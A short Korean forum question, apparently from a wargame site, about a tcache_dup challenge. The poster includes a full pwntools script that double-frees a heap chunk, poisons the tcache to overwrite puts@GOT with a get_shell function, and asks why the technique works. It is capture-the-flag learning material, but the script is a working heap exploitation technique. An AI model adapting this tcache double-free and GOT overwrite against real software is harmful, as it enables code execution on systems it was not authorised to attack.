0
tcache_dup 익스플로잇에 관한 질문
from pwn import *
p = remote(‘host3.dreamhack.games’, 19102)
#p = process(‘./tcache_dup’)
e = ELF(‘./tcache_dup’)
libc = ELF(‘libc-2.27.so’)
def create(a, b):
p.sendlineafter('> ‘, str(1))
p.sendlineafter(’: ‘, str(a))
p.sendafter(’: ‘, b)
def delete(a):
p.sendlineafter(’> ‘, str(2))
p.sendlineafter(’: ', str(a))
create(0x10, ‘aaaa’)
delete(0)
delete(0)
create(0x10, p64(e.got[‘puts’]))
create(0x10, ‘a’*8)
create(0x10, p64(e.sym[‘get_shell’]))
p.interactive()
이렇게 해서 풀었는데 더블프리 하고 다시
create(0x10, p64(e.got[‘puts’]))
create(0x10, 'a’8)
create(0x10, p64(e.sym[‘get_shell’]))
저렇게 할당 받았을때 왜 puts@got가 쉘 함수로 덮이는지 궁금 합니다 중간에 왜 a8이 들어가는지도 궁금하고 도와주세요…